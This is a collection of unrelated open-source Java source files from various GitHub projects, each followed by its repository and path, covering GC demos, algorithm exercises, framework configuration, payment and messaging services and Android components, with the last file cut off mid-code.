package com.crossoverjie.gc; /** * Function: Eden区不够分配时,发生minorGC * * @author crossoverJie * Date: 17/01/2018 22:57 * @since JDK 1.8 */ public class MinorGC { /** * 1M */ private static final int SIZE = 1024 * 1024 ; /** * -XX:+PrintGCDetails -Xms20M -Xmx20M -Xmn10M -XX:SurvivorRatio=8 * @param args */ public static void main(String[] args) { byte[] one ; byte[] four ; one = new byte[2 * SIZE] ; //再分配一个 5M 内存时,Eden区不够了, four = new byte[5 * SIZE] ; } }
crossoverJie/JCSprout
src/main/java/com/crossoverjie/gc/MinorGC.java
96
package dsHomework; import java.util.*; public class PopSequence { // m 从0 到6,是序列的循环变量, m ==7时,序列就结束了,m is 序列的index, v从1到7, 是入栈的元素 // 如果 入栈的元素小于序列,那就入栈,直到大于序列. //如果爆栈,那就error, ,如果栈非空且peek = datam ,那就pop //如果栈顶大于序列,那就error. public static int StackCheck(int data[],int MaxSize) { Stack <Integer> st = new Stack<Integer>(); //Integer 类型的栈 int v = 1, m = 0,N = data.length ; // System.out.print(data.length); while(m < N) { while( v <= data[m] ) { // v from 1 to 7 st.push(v) ; // System.out.println("入栈的是"+v); v++; }//此时 v =data[0]+1 // System.out.print(" data[m] = "+data[m]); if(st.size() > MaxSize) { return 0 ; } // System.out.println("栈顶是"+st.peek()); if( (!st.empty())&& st.peek() == data[m] ) { st.pop(); // System.out.print(" pop success"); } if( !st.empty() && st.peek() > data[m] ) { // st.peek 放在后面否则会有emptystack异常. return 0; } m++; // System.out.println("判断序列data["+m); } if(m == N) return 1; else return 0 ; } public static void main(String[] args) { int i = 0,j = 0,flag = 0,M = 0,N = 0,K = 0; Scanner sc = new Scanner(System.in); M = sc.nextInt(); N = sc.nextInt(); K = sc.nextInt(); // M (the maximum capacity of the stack), //N (the length of push sequence), and K (the number of pop sequences to be checked). for( i = 0;i < K;i++){ //K次读入序列 int data[] = new int[N]; /*开辟了一个长度为N的数组*/ //读入序列 for(j = 0;j < N; j++){ data[j] = sc.nextInt(); } //读入序列 flag = StackCheck(data,M); // System.out.print("判断完了"+i); if(flag == 1) { System.out.println("YES"); } else System.out.println("NO"); } //print result and turn to next sequences sc.close(); } } // 首先, 保存输入序列,第一个data和1不同,那1入栈,2,3,如果栈满了还是和第一个不同,那就error // 如果栈没满,stack[top]和第一个相同,那就出栈, 第二个和stack[top]相同,继续出栈,不相同,继续入栈, // 直到判断到第N个,出栈成功,那就right.中间栈满了或者top==-1了,那就error.
QSCTech/zju-icicles
数据结构基础/作业/dsHomework/PopSequence.java
97
/** * 定时任务模块,提供类Crontab表达式的定时任务,实现参考了Cron4j,同时可以支持秒级别的定时任务定义和年的定义(同时兼容Crontab、Cron4j、Quartz表达式)<br> * 定时任务模块由三部分组成: * <ul> * <li>{@link cn.hutool.cron.Scheduler} 定时任务调度器,用于整体管理任务的增删、启停和触发运行。</li> * <li>{@link cn.hutool.cron.task.Task} 定时任务实现,用于定义具体的任务</li> * <li>{@link cn.hutool.cron.pattern.CronPattern} 定时任务表达式,用于定义任务触发时间</li> * </ul> * * 同时,提供了{@link cn.hutool.cron.CronUtil}工具类,维护一个全局的{@link cn.hutool.cron.Scheduler}。 * * @author looly */ package cn.hutool.cron;
dromara/hutool
hutool-cron/src/main/java/cn/hutool/cron/package-info.java
98
E 1522047752 tags: Brainteaser, DP, Game Theory #### Brainteaser - 著名Nim游戏 - 写一些,发现n=4,5,6,7,8...etc之后的情况有规律性: 谁先手拿到4就输了. - 最终很简单n%4!=0就可以了, time, space O(1) #### DP - 正规地找规律做, 就跟 coins in a line 一样, 按照先手后手来做 - 可以rolling array 优化空间 - Time O(n), 当然啦, 这个题目这样会timeout, 可以使用brainteaser的做法写出结果. ``` /* You are playing the following Nim Game with your friend: There is a heap of stones on the table, each time one of you take turns to remove 1 to 3 stones. The one who removes the last stone will be the winner. You will take the first turn to remove the stones. Both of you are very clever and have optimal strategies for the game. Write a function to determine whether you can win the game given the number of stones in the heap. For example, if there are 4 stones in the heap, then you will never win the game: no matter 1, 2, or 3 stones you remove, the last stone will always be removed by your friend. Hint: If there are 5 stones in the heap, could you figure out a way to remove the stones such that you will always be the winner? Hide Similar Problems (M) Flip Game II */ /* Thoughts: If n = 4, we can do the following: 1 0 0 0 1 1 0 0 1 1 1 0 But we'll fail. n = 5, we pick 1, 2nd player gets n = 4. n = 6, we pick 2, 2nd player gets n = 4. n = 7, we pick 3, 2nd player gets n = 4. n = 8, regarless whatever we pick, the opponent can make 1st gets n = 4, we fail. ... ... whenever n % 4 = 0, 1st player fail. */ public class Solution { public boolean canWinNim(int n) { return n % 4 != 0; } } /* Whether 1st hand could win or not, depend on what’s left on the opponent’s last move. dp[i]: true/false if left with i stones. dp[i] can win, if one of dp[i - 1], dp[i - 2] or dp[i - 3] could lose. dp[0] = true. */ class Solution { public boolean canWinNim(int n ) { if (n <= 3) { return true; } boolean[] dp = new boolean[n + 1]; dp[0] = true; dp[1] = dp[2] = dp[3] = true; for (int i = 4; i <= n; i++) { dp[i] = !(dp[i - 1] && dp[i - 2] && dp[i - 3]); } return dp[n]; } } // Rolling stone class Solution { public boolean canWinNim(int n ) { if (n <= 3) { return true; } boolean[] dp = new boolean[4]; dp[0] = true; dp[1] = dp[2] = dp[3] = true; for (int i = 4; i <= n; i++) { dp[i % 4] = !(dp[(i - 1) % 4] && dp[(i - 2) % 4] && dp[(i - 3) % 4]); } return dp[n % 4]; } } /* Thoughts: Game theory DP. Consider the last step: for 1st player to win, the opponent needs to have the possibility to lose (assume 1st player take the chance when seeing one) Make dp[i] represents true/false 1st will win, if given i stones. dp[i] = !dp[i - 1] || !dp[i - 2] || !dp[i - 3]; return dp[n - 1] */ class Solution { public boolean canWinNim(int n) { if (n <= 3) { return true; } boolean[] dp = new boolean[3]; dp[0] = dp[1] = dp[2] = true; for (int i = 3; i < n; i++) { dp[i % 3] = !dp[(i - 1) % 3] || !dp[(i - 2) % 3] || !dp[(i - 3) % 3]; } return dp[(n - 1) % 3]; } } ```
awangdev/leet-code
Java/Nim Game.java
99
package org.jeecg.config; import org.jeecg.config.filter.WebsocketFilter; import org.springframework.boot.web.servlet.FilterRegistrationBean; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.socket.server.standard.ServerEndpointExporter; /** * @Description: WebSocketConfig * @author: jeecg-boot */ @Configuration public class WebSocketConfig { /** * 注入ServerEndpointExporter, * 这个bean会自动注册使用了@ServerEndpoint注解声明的Websocket endpoint */ @Bean public ServerEndpointExporter serverEndpointExporter() { return new ServerEndpointExporter(); } @Bean public WebsocketFilter websocketFilter(){ return new WebsocketFilter(); } @Bean public FilterRegistrationBean getFilterRegistrationBean(){ FilterRegistrationBean bean = new FilterRegistrationBean(); bean.setFilter(websocketFilter()); //TODO 临时注释掉,测试下线上socket总断的问题 bean.addUrlPatterns("/taskCountSocket/*", "/websocket/*","/eoaSocket/*","/eoaNewChatSocket/*", "/newsWebsocket/*", "/vxeSocket/*"); return bean; } }
jeecgboot/jeecg-boot
jeecg-boot-base-core/src/main/java/org/jeecg/config/WebSocketConfig.java
101
/* * Copyright (c) 2020, OpenCloudDB/MyCAT and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software;Designed and Developed mainly by many Chinese * opensource volunteers. you can redistribute it and/or modify it under the * terms of the GNU General Public License version 2 only, as published by the * Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Any questions about this component can be directed to it's project Web address * https://code.google.com/p/opencloudb/. * */ package io.mycat; import java.text.SimpleDateFormat; import java.util.Date; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import io.mycat.config.loader.zkprocess.comm.ZkConfig; import io.mycat.config.model.SystemConfig; /** * @author mycat */ public final class MycatStartup { private static final String dateFormat = "yyyy-MM-dd HH:mm:ss"; private static final Logger LOGGER = LoggerFactory.getLogger(MycatStartup.class); public static void main(String[] args) { //use zk ? ZkConfig.getInstance().initZk(); try { String home = SystemConfig.getHomePath(); if (home == null) { System.out.println(SystemConfig.SYS_HOME + " is not set."); System.exit(-1); } // init MycatServer server = MycatServer.getInstance(); //这个方法执行的代码,上面SystemConfig.getHomePath()已经执行过了,建议注释掉。 //server.beforeStart(); // startup server.startup(); System.out.println("MyCAT Server startup successfully. see logs in logs/mycat.log"); } catch (Exception e) { SimpleDateFormat sdf = new SimpleDateFormat(dateFormat); LOGGER.error(sdf.format(new Date()) + " startup error", e); System.exit(-1); } } }
MyCATApache/Mycat-Server
src/main/java/io/mycat/MycatStartup.java
103
package com.zheng.oss.web; import com.qiniu.common.QiniuException; import com.qiniu.http.Response; import com.qiniu.storage.UploadManager; import com.qiniu.util.Auth; import java.io.IOException; /** * Created by shuzheng on 2016/11/12. */ public class QiniuDemo { //设置好账号的ACCESS_KEY和SECRET_KEY String accessKey = ""; String secretKey = ""; //要上传的空间 String bucketname = "zheng"; //上传到七牛后保存的文件名 String key = "my-java.png"; //上传文件的路径 String filePath = "C:\\Users\\admin\\Pictures\\zsz\\20161108161228.png"; //密钥配置 Auth auth = Auth.create(accessKey, secretKey); //创建上传对象 UploadManager uploadManager = new UploadManager(); //简单上传,使用默认策略,只需要设置上传的空间名就可以了 public String getUpToken(){ return auth.uploadToken(bucketname); } public void upload() throws IOException { try { //调用put方法上传 Response res = uploadManager.put(filePath, key, getUpToken()); //打印返回的信息 System.out.println(res.bodyString()); } catch (QiniuException e) { Response r = e.response; // 请求失败时打印的异常的信息 System.out.println(r.toString()); try { //响应的文本信息 System.out.println(r.bodyString()); } catch (QiniuException e1) { //ignore } } } public static void main(String[] args) throws IOException { new QiniuDemo().upload(); } }
shuzheng/zheng
zheng-oss/zheng-oss-web/src/main/java/com/zheng/oss/web/QiniuDemo.java
105
package org.nutz.dao; /** * 列出了 Nutz.Dao 支持的数据库类型 * * @author zozoh(zozohtnt@gmail.com) */ public enum DB { /** * IBM DB2 */ DB2, /** * Postgresql */ PSQL, /** * Oracle */ ORACLE, /** * MS-SqlServer */ SQLSERVER, /** * MySql */ MYSQL, /** * H2Database */ H2, /** * SQLITE */ SQLITE, /** * */ HSQL, /** * */ DERBY, /** * */ GBASE, /** * */ SYBASE, /** * DM */ DM, /** * DM_MYSQL */ DM_MYSQL, /** * TDengine */ TDENGINE, /** * Kingbase */ KINGBASE, /** * 其他数据库 */ OTHER }
nutzam/nutz
src/org/nutz/dao/DB.java
106
/* * Copyright 2016 jeasonlzy(廖子尧) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.lzy.demo.okrx2; import com.lzy.demo.callback.JsonConvert; import com.lzy.okgo.OkGo; import com.lzy.okgo.model.HttpHeaders; import com.lzy.okgo.model.HttpMethod; import com.lzy.okgo.model.HttpParams; import com.lzy.okgo.request.base.Request; import com.lzy.okrx2.adapter.ObservableBody; import java.lang.reflect.Type; import io.reactivex.Observable; /** * ================================================ * 作 者:jeasonlzy(廖子尧)Github地址:https://github.com/jeasonlzy * 版 本:1.0 * 创建日期:2017/5/28 * 描 述: * 修订历史: * ================================================ */ public class RxUtils { public static <T> Observable<T> request(HttpMethod method, String url, Type type) { return request(method, url, type, null); } public static <T> Observable<T> request(HttpMethod method, String url, Type type, HttpParams params) { return request(method, url, type, params, null); } public static <T> Observable<T> request(HttpMethod method, String url, Type type, HttpParams params, HttpHeaders headers) { return request(method, url, type, null, params, headers); } public static <T> Observable<T> request(HttpMethod method, String url, Class<T> clazz) { return request(method, url, clazz, null); } public static <T> Observable<T> request(HttpMethod method, String url, Class<T> clazz, HttpParams params) { return request(method, url, clazz, params, null); } public static <T> Observable<T> request(HttpMethod method, String url, Class<T> clazz, HttpParams params, HttpHeaders headers) { return request(method, url, null, clazz, params, headers); } /** * 这个封装其实没有必要,只是有些人喜欢这么干,我就多此一举写出来了。。 * 这个封装其实没有必要,只是有些人喜欢这么干,我就多此一举写出来了。。 * 这个封装其实没有必要,只是有些人喜欢这么干,我就多此一举写出来了。。 */ public static <T> Observable<T> request(HttpMethod method, String url, Type type, Class<T> clazz, HttpParams params, HttpHeaders headers) { Request<T, ? extends Request> request; if (method == HttpMethod.GET) request = OkGo.get(url); else if (method == HttpMethod.POST) request = OkGo.post(url); else if (method == HttpMethod.PUT) request = OkGo.put(url); else if (method == HttpMethod.DELETE) request = OkGo.delete(url); else if (method == HttpMethod.HEAD) request = OkGo.head(url); else if (method == HttpMethod.PATCH) request = OkGo.patch(url); else if (method == HttpMethod.OPTIONS) request = OkGo.options(url); else if (method == HttpMethod.TRACE) request = OkGo.trace(url); else request = OkGo.get(url); request.headers(headers); request.params(params); if (type != null) { request.converter(new JsonConvert<T>(type)); } else if (clazz != null) { request.converter(new JsonConvert<T>(clazz)); } else { request.converter(new JsonConvert<T>()); } return request.adapt(new ObservableBody<T>()); } }
jeasonlzy/okhttp-OkGo
demo/src/main/java/com/lzy/demo/okrx2/RxUtils.java
107
package com.xkcoding.mq.rabbitmq.handler; import cn.hutool.json.JSONUtil; import com.rabbitmq.client.Channel; import com.xkcoding.mq.rabbitmq.constants.RabbitConsts; import com.xkcoding.mq.rabbitmq.message.MessageStruct; import lombok.extern.slf4j.Slf4j; import org.springframework.amqp.core.Message; import org.springframework.amqp.rabbit.annotation.RabbitHandler; import org.springframework.amqp.rabbit.annotation.RabbitListener; import org.springframework.stereotype.Component; import java.io.IOException; /** * <p> * 队列2 处理器 * </p> * * @author yangkai.shen * @date Created in 2019-01-04 15:42 */ @Slf4j @RabbitListener(queues = RabbitConsts.QUEUE_TWO) @Component public class QueueTwoHandler { @RabbitHandler public void directHandlerManualAck(MessageStruct messageStruct, Message message, Channel channel) { // 如果手动ACK,消息会被监听消费,但是消息在队列中依旧存在,如果 未配置 acknowledge-mode 默认是会在消费完毕后自动ACK掉 final long deliveryTag = message.getMessageProperties().getDeliveryTag(); try { log.info("队列2,手动ACK,接收消息:{}", JSONUtil.toJsonStr(messageStruct)); // 通知 MQ 消息已被成功消费,可以ACK了 channel.basicAck(deliveryTag, false); } catch (IOException e) { try { // 处理失败,重新压入MQ channel.basicRecover(); } catch (IOException e1) { e1.printStackTrace(); } } } }
xkcoding/spring-boot-demo
demo-mq-rabbitmq/src/main/java/com/xkcoding/mq/rabbitmq/handler/QueueTwoHandler.java
108
package com.blankj.api; import org.objectweb.asm.AnnotationVisitor; import org.objectweb.asm.ClassVisitor; import org.objectweb.asm.Opcodes; import java.util.List; import java.util.Map; /** * <pre> * author: Blankj * blog : http://blankj.com * time : 2019/07/09 * desc : * </pre> */ public class ApiClassVisitor extends ClassVisitor { private Map<String, ApiInfo> mApiImplMap; private List<String> mApiClasses; private String className; private String superClassName; private boolean hasAnnotation; private boolean isMock; private String mApiUtilsClass; public ApiClassVisitor(ClassVisitor classVisitor, Map<String, ApiInfo> apiImplMap, List<String> apiClasses, String apiUtilsClass) { super(Opcodes.ASM5, classVisitor); mApiImplMap = apiImplMap; mApiClasses = apiClasses; mApiUtilsClass = apiUtilsClass.replace(".", "/"); } @Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { className = name; superClassName = superName; if ((mApiUtilsClass + "$BaseApi").equals(superName)) { mApiClasses.add(name); } super.visit(version, access, name, signature, superName, interfaces); } @Override public AnnotationVisitor visitAnnotation(String desc, boolean visible) { if (("L" + mApiUtilsClass + "$Api;").equals(desc)) { hasAnnotation = true; return new AnnotationVisitor(Opcodes.ASM5, super.visitAnnotation(desc, visible)) { @Override public void visit(String name, Object value) {// 可获取注解的值 isMock = (boolean) value; super.visit(name, value); } }; } return super.visitAnnotation(desc, visible); } @Override public void visitEnd() { super.visitEnd(); if (hasAnnotation) { if (!isMock) {// 如果不是 mock 的话 ApiInfo apiInfo = mApiImplMap.get(superClassName); if (apiInfo == null || apiInfo.isMock) {// 不存在或者之前存在的是 mock mApiImplMap.put(superClassName, new ApiInfo(className, false)); } else {// 存在一个 api 多个非 mock 实现就报错 throw new IllegalArgumentException("<" + className + "> and <" + apiInfo.implApiClass + "> impl same api of <" + superClassName + ">"); } } else {// mock 的话,如果 map 中已存在就不覆盖了 if (!mApiImplMap.containsKey(superClassName)) { mApiImplMap.put(superClassName, new ApiInfo(className, true)); } } } } }
Blankj/AndroidUtilCode
plugin/api-gradle-plugin/src/main/java/com/blankj/api/ApiClassVisitor.java
109
/** * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com). * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.jfinal.kit; /** * lambda 函数工具箱,主要用来解决 JDK 函数接口参数过少的问题,同时还降低了学习成本 * * JDK java.util.function 包里面的函数接口有如下缺点: * 1:设计繁琐,相比动态语言的闭包在理解和学习成本上要高 * 2:函数支持的参数过少,超过两个参数时就没法使用了 * 3:基于 java 接口的闭包实现方案,转移了用户对于函数本身这个核心要点的关注, * 接口名、方法名带来了噪声干扰 */ public interface Func { /** * 0 参 0 返回函数 */ @FunctionalInterface public interface F00 { void call(); } /** * 1 参 0 返回函数 */ @FunctionalInterface public interface F10<T> { void call(T t); } /** * 2 参 0 返回函数 */ @FunctionalInterface public interface F20<T, U> { void call(T t, U u); } /** * 3 参 0 返回函数 */ @FunctionalInterface public interface F30<T, U, V> { void call(T t, U u, V v); } /** * 4 参 0 返回函数 */ @FunctionalInterface public interface F40<T, U, V, W> { void call(T t, U u, V v, W w); } /** * 5 参 0 返回函数 */ @FunctionalInterface public interface F50<T, U, V, W, X> { void call(T t, U u, V v, W w, X x); } /** * 6 参 0 返回函数 */ @FunctionalInterface public interface F60<T, U, V, W, X, Y> { void call(T t, U u, V v, W w, X x, Y y); } /** * 7 参 0 返回函数 */ @FunctionalInterface public interface F70<T, U, V, W, X, Y, Z> { void call(T t, U u, V v, W w, X x, Y y, Z z); } // --------------------------------------------- /** * 0 参 1 返回函数 */ @FunctionalInterface public interface F01<R> { R call(); } /** * 1 参 1 返回函数 */ @FunctionalInterface public interface F11<T, R> { R call(T t); } /** * 2 参 1 返回函数 */ @FunctionalInterface public interface F21<T, U, R> { R call(T t, U u); } /** * 3 参 1 返回函数 */ @FunctionalInterface public interface F31<T, U, V, R> { R call(T t, U u, V v); } /** * 4 参 1 返回函数 */ @FunctionalInterface public interface F41<T, U, V, W, R> { R call(T t, U u, V v, W w); } /** * 5 参 1 返回函数 */ @FunctionalInterface public interface F51<T, U, V, W, X, R> { R call(T t, U u, V v, W w, X x); } /** * 6 参 1 返回函数 */ @FunctionalInterface public interface F61<T, U, V, W, X, Y, R> { R call(T t, U u, V v, W w, X x, Y y); } /** * 7 参 1 返回函数 */ @FunctionalInterface public interface F71<T, U, V, W, X, Y, Z, R> { R call(T t, U u, V v, W w, X x, Y y, Z z); } }
jfinal/jfinal
src/main/java/com/jfinal/kit/Func.java
110
package com.macro.mall.portal.service.impl; import cn.hutool.core.util.StrUtil; import com.alibaba.fastjson.JSONObject; import com.alipay.api.AlipayApiException; import com.alipay.api.AlipayClient; import com.alipay.api.internal.util.AlipaySignature; import com.alipay.api.request.AlipayTradePagePayRequest; import com.alipay.api.request.AlipayTradeQueryRequest; import com.alipay.api.request.AlipayTradeWapPayRequest; import com.alipay.api.response.AlipayTradeQueryResponse; import com.macro.mall.mapper.OmsOrderMapper; import com.macro.mall.portal.config.AlipayConfig; import com.macro.mall.portal.domain.AliPayParam; import com.macro.mall.portal.service.AlipayService; import com.macro.mall.portal.service.OmsPortalOrderService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.Map; /** * @auther macrozheng * @description 支付宝支付Service实现类 * @date 2023/9/8 * @github https://github.com/macrozheng */ @Slf4j @Service public class AlipayServiceImpl implements AlipayService { @Autowired private AlipayConfig alipayConfig; @Autowired private AlipayClient alipayClient; @Autowired private OmsOrderMapper orderMapper; @Autowired private OmsPortalOrderService portalOrderService; @Override public String pay(AliPayParam aliPayParam) { AlipayTradePagePayRequest request = new AlipayTradePagePayRequest(); if(StrUtil.isNotEmpty(alipayConfig.getNotifyUrl())){ //异步接收地址,公网可访问 request.setNotifyUrl(alipayConfig.getNotifyUrl()); } if(StrUtil.isNotEmpty(alipayConfig.getReturnUrl())){ //同步跳转地址 request.setReturnUrl(alipayConfig.getReturnUrl()); } //******必传参数****** JSONObject bizContent = new JSONObject(); //商户订单号,商家自定义,保持唯一性 bizContent.put("out_trade_no", aliPayParam.getOutTradeNo()); //支付金额,最小值0.01元 bizContent.put("total_amount", aliPayParam.getTotalAmount()); //订单标题,不可使用特殊符号 bizContent.put("subject", aliPayParam.getSubject()); //电脑网站支付场景固定传值FAST_INSTANT_TRADE_PAY bizContent.put("product_code", "FAST_INSTANT_TRADE_PAY"); request.setBizContent(bizContent.toString()); String formHtml = null; try { formHtml = alipayClient.pageExecute(request).getBody(); } catch (AlipayApiException e) { e.printStackTrace(); } return formHtml; } @Override public String notify(Map<String, String> params) { String result = "failure"; boolean signVerified = false; try { //调用SDK验证签名 signVerified = AlipaySignature.rsaCheckV1(params, alipayConfig.getAlipayPublicKey(), alipayConfig.getCharset(), alipayConfig.getSignType()); } catch (AlipayApiException e) { log.error("支付回调签名校验异常!",e); e.printStackTrace(); } if (signVerified) { String tradeStatus = params.get("trade_status"); if("TRADE_SUCCESS".equals(tradeStatus)){ result = "success"; log.info("notify方法被调用了,tradeStatus:{}",tradeStatus); String outTradeNo = params.get("out_trade_no"); portalOrderService.paySuccessByOrderSn(outTradeNo,1); }else{ log.warn("订单未支付成功,trade_status:{}",tradeStatus); } } else { log.warn("支付回调签名校验失败!"); } return result; } @Override public String query(String outTradeNo, String tradeNo) { AlipayTradeQueryRequest request = new AlipayTradeQueryRequest(); //******必传参数****** JSONObject bizContent = new JSONObject(); //设置查询参数,out_trade_no和trade_no至少传一个 if(StrUtil.isNotEmpty(outTradeNo)){ bizContent.put("out_trade_no",outTradeNo); } if(StrUtil.isNotEmpty(tradeNo)){ bizContent.put("trade_no",tradeNo); } //交易结算信息: trade_settle_info String[] queryOptions = {"trade_settle_info"}; bizContent.put("query_options", queryOptions); request.setBizContent(bizContent.toString()); AlipayTradeQueryResponse response = null; try { response = alipayClient.execute(request); } catch (AlipayApiException e) { log.error("查询支付宝账单异常!",e); } if(response.isSuccess()){ log.info("查询支付宝账单成功!"); if("TRADE_SUCCESS".equals(response.getTradeStatus())){ portalOrderService.paySuccessByOrderSn(outTradeNo,1); } } else { log.error("查询支付宝账单失败!"); } //交易状态:WAIT_BUYER_PAY(交易创建,等待买家付款)、TRADE_CLOSED(未付款交易超时关闭,或支付完成后全额退款)、TRADE_SUCCESS(交易支付成功)、TRADE_FINISHED(交易结束,不可退款) return response.getTradeStatus(); } @Override public String webPay(AliPayParam aliPayParam) { AlipayTradeWapPayRequest request = new AlipayTradeWapPayRequest (); if(StrUtil.isNotEmpty(alipayConfig.getNotifyUrl())){ //异步接收地址,公网可访问 request.setNotifyUrl(alipayConfig.getNotifyUrl()); } if(StrUtil.isNotEmpty(alipayConfig.getReturnUrl())){ //同步跳转地址 request.setReturnUrl(alipayConfig.getReturnUrl()); } //******必传参数****** JSONObject bizContent = new JSONObject(); //商户订单号,商家自定义,保持唯一性 bizContent.put("out_trade_no", aliPayParam.getOutTradeNo()); //支付金额,最小值0.01元 bizContent.put("total_amount", aliPayParam.getTotalAmount()); //订单标题,不可使用特殊符号 bizContent.put("subject", aliPayParam.getSubject()); //手机网站支付默认传值FAST_INSTANT_TRADE_PAY bizContent.put("product_code", "QUICK_WAP_WAY"); request.setBizContent(bizContent.toString()); String formHtml = null; try { formHtml = alipayClient.pageExecute(request).getBody(); } catch (AlipayApiException e) { e.printStackTrace(); } return formHtml; } }
macrozheng/mall
mall-portal/src/main/java/com/macro/mall/portal/service/impl/AlipayServiceImpl.java
111
package com.example.gsyvideoplayer; import android.content.Intent; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.provider.Settings; import androidx.annotation.RequiresApi; import androidx.appcompat.app.AppCompatActivity; import android.view.View; import android.view.animation.BounceInterpolator; import com.example.gsyvideoplayer.databinding.ActivityWindowBinding; import com.example.gsyvideoplayer.utils.floatUtil.FloatWindow; import com.example.gsyvideoplayer.utils.floatUtil.MoveType; import com.example.gsyvideoplayer.utils.floatUtil.Screen; import com.example.gsyvideoplayer.utils.floatUtil.Util; import com.example.gsyvideoplayer.view.FloatPlayerView; import com.shuyu.gsyvideoplayer.GSYVideoManager; /** * 多窗体下的悬浮窗页面 */ public class WindowActivity extends AppCompatActivity implements View.OnClickListener { ActivityWindowBinding binding; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); binding = ActivityWindowBinding.inflate(getLayoutInflater()); View rootView = binding.getRoot(); setContentView(rootView); if (Build.VERSION.SDK_INT >= 23) { if (!Util.hasPermission(this)) { requestAlertWindowPermission(); } } binding.jumpOther.setOnClickListener(this); binding.startWindow.setOnClickListener(this); } @Override protected void onDestroy() { super.onDestroy(); GSYVideoManager.instance().releaseMediaPlayer(); /** * 这里在返回主页的时候销毁了,因为不想和DEMO中其他页面冲突 */ FloatWindow.destroy(); } @RequiresApi(api = 23) private void requestAlertWindowPermission() { Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName())); startActivityForResult(intent, 1); } @RequiresApi(api = 23) @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (Build.VERSION.SDK_INT >= 23){ //todo 用23以上编译即可出现canDrawOverlays if (Util.hasPermission(this)) { } else { this.finish(); } } } @Override public void onClick(View view) { switch (view.getId()) { case R.id.start_window: if (FloatWindow.get() != null) { return; } FloatPlayerView floatPlayerView = new FloatPlayerView(getApplicationContext()); FloatWindow .with(getApplicationContext()) .setView(floatPlayerView) .setWidth(Screen.width, 0.4f) .setHeight(Screen.width, 0.4f) .setX(Screen.width, 0.8f) .setY(Screen.height, 0.3f) .setMoveType(MoveType.slide) .setFilter(false) .setMoveStyle(500, new BounceInterpolator()) .build(); FloatWindow.get().show(); break; case R.id.jump_other: startActivity(new Intent(this, EmptyActivity.class)); break; } } }
CarGuo/GSYVideoPlayer
app/src/main/java/com/example/gsyvideoplayer/WindowActivity.java
112
package org.bannedbook.app.service; import android.app.Notification; import android.app.PendingIntent; import android.app.Service; import android.content.Intent; import android.content.res.AssetManager; import android.net.Uri; import android.os.Environment; import android.os.IBinder; import android.util.Log; import android.widget.Toast; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import android.content.Context; import android.os.Build; import com.github.shadowsocks.bg.ProxyService; /*废弃,暂且没用*/ public class PolipoService extends Service { // A special ID assigned to this on-going notification. private static final int ONGOING_NOTIFICATION = 51888; private static Context mContext; static { System.loadLibrary("polipo"); //defaultConfig.ndk.moduleName } public static void startPolipoService(Context context ) { Log.e("startPolipoService","..."); mContext=context; Intent intent = new Intent(context.getApplicationContext(), PolipoService.class); if (Build.VERSION.SDK_INT > Build.VERSION_CODES.N_MR1) { //context.startService(intent); context.startForegroundService(intent); //startForegroundService 必须5秒内调用startForeground createNotification,但createNotification后,关闭app重启时老崩溃,可能是http代理端口没有释放 //所以暂且就用后台服务吧,也不创建通知了 } else { context.startService(intent); } } public static void stopPolipoService() { Log.e("stopPolipoService","..."); Intent intent = new Intent(mContext.getApplicationContext(), PolipoService.class); mContext.stopService(intent); } private String configFile; private Thread proxyThread; @Override public void onCreate() { Log.e("PolipoService","onCreate..."); File rootDataDir = getFilesDir(); final String toPath = rootDataDir.toString(); String confFilename = "config.conf"; configFile = toPath + "/"+confFilename; Log.e("toPath is: ", toPath); File file = new File(configFile); if (!file.exists()) copyAssets(confFilename, toPath); //file = new File(configFile); /* if (file.exists()) { int file_size = Integer.parseInt(String.valueOf(file.length())); Log.e("---", configFile + " exists, size is:" + file_size); }*/ //new ProxyService().createNotification("JWproxy"); } @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int id) { Log.e("PolipoService","onStartCommand..."); new Thread(new Runnable() { @Override public void run() { NativeCall.execPolipo(configFile); } }).start(); //Toast.makeText(this, "Service created!", Toast.LENGTH_LONG).show(); //createNotification(); //共用ss startForeground通知 return START_NOT_STICKY; } @Override public void onDestroy() { Log.e("PolipoService","onDestroy..."); super.onDestroy(); //new Executable().killPolipo(); //stopForeground(true); } private void createNotification() { Intent notificationIntent = new Intent(this, mContext.getClass()); //notificationIntent.setData(Uri.parse("http://127.0.0.1:8123")); //notificationIntent.setClassName(this,mContext.getClass().getName()); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0,notificationIntent, 0); Notification notification = new Notification.Builder(this). setContentTitle("JWProxy"). setContentText("JWProxy - 禁闻代理正在运行。"). 